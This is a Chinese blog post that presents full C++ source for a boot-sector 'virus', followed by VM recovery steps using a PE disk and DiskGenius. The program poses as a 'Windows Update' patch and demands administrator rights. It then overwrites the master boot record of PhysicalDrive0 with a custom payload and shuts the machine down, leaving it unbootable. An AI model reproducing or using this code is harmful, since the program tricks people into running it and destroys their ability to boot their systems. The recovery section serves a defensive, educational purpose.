【MBR病毒】实现与解决方案

复现

环境

Attacker

OS: Windows 10 1909 X64
IDE: Dev-C++ 5.11
Filename: MBR.cpp
Out Filename: MBR.exe

Player

OS: Windows XP SP2
Filename: MBR.exe

步骤

0.0.1 编译及拷贝

将以下代码输入进Dev-C++:

#include
#include
#include
using namespace std;
unsigned char sco[] =16进制
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xBA\x1D\x0E\xCD\x10\xE2\xFE\x0D\x0A\x49\x27\x6D\x20\x61\x20\x76\x69\x72\x75\x73\x21\x42\x79\x65\x21";

DWORD MBR()
{
     
	system("title Windows Update");
	cout<<"Your computer has a bug.We are updating."<<endl;
	cout<<"Windows Updating..."<<endl;
	DWORD Ropen;
	BYTE pMBR[512] = {
      0 };
	memcpy(pMBR, sco, sizeof(sco));
	pMBR[510] = 0x55;
	pMBR[511] = 0xaa;
	HANDLE hDevice = CreateFile(
		"\\\\.\\PhysicalDrive0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
     
		MessageBoxA(NULL, "错误", "请以管理员身份运行,否则 Windows 无法安装此特殊补丁更新。", MB_OK);
		return 0;
	}
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
	//写入磁盘文件   
	WriteFile(hDevice, pMBR, 512, &Ropen, NULL);
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
	cout<<"Windows Updated.Restart..."<<endl;
	system("shutdown -s -t 00");
}
int main(int argc, char* argv[])
{
     
	MBR();
	return 0;
}

编译后,生成了MBR.exe的文件。将其拷贝进VMware Workstation的Windows XP SP2中。

0.0.2 运行及效果

使用管理员权限运行此exe,窗口一闪而过,随机Windows XP SP2关机。
【MBR病毒】实现与解决方案_第1张图片

关机后,尝试开启虚拟机,显示如下:
【MBR病毒】实现与解决方案_第2张图片

解决方案

(在本开放实例中(https://github.com/tiantian520tt/Boom_MBR_Virus),可以很快清理。但在作者自行开发的内部版本中,此病毒已无法完全清理。)
关闭虚拟机,从网上下载适合的PE系统iso并下载,点击VMware的虚拟机选项,设置。
【MBR病毒】实现与解决方案_第3张图片
配置iso映像文件后,确认。
接着,选择虚拟机选项卡,选择启动方式,打开BIOS
【MBR病毒】实现与解决方案_第4张图片
进入BIOS后,选择Boot,接着使用+/-号使CD选项调到最上,按F10。(实体机中也很相似,但如果使用U盘作为PE启动盘,那么需要将USB选项调到最上)

【MBR病毒】实现与解决方案_第5张图片
进入PE系统。
(由于作者身边只有Windows Server 2003的PE所以用了这个)
【MBR病毒】实现与解决方案_第6张图片
【MBR病毒】实现与解决方案_第7张图片
打开DiskGenius(磁盘分区管理),发现磁盘内容已经全部挂了。这时搜索丢失分区发现了C盘,然后重建MBR引导。
【MBR病毒】实现与解决方案_第8张图片
关闭虚拟机,再次进入BIOS。修改Hard Driver到最顶,重启虚拟机。成功进入系统。
【MBR病毒】实现与解决方案_第9张图片
【MBR病毒】实现与解决方案_第10张图片

文件仍在:

解决方案圆满成功。

总结

MBR病毒算是国内发现比较早的病毒种类了,由于在计算机时代初期exe的各种兼容性,使得更多的人选择了对MBR引导区下手。
本人对本MBR病毒评价:
复现难度:★★☆☆☆
修复难度:★☆☆☆☆
破坏程度:☆☆☆☆☆

以上均为本人观点,不喜勿喷,欢迎补充。

你可能感兴趣的:(windows,vmware,病毒,MBR病毒,引导区)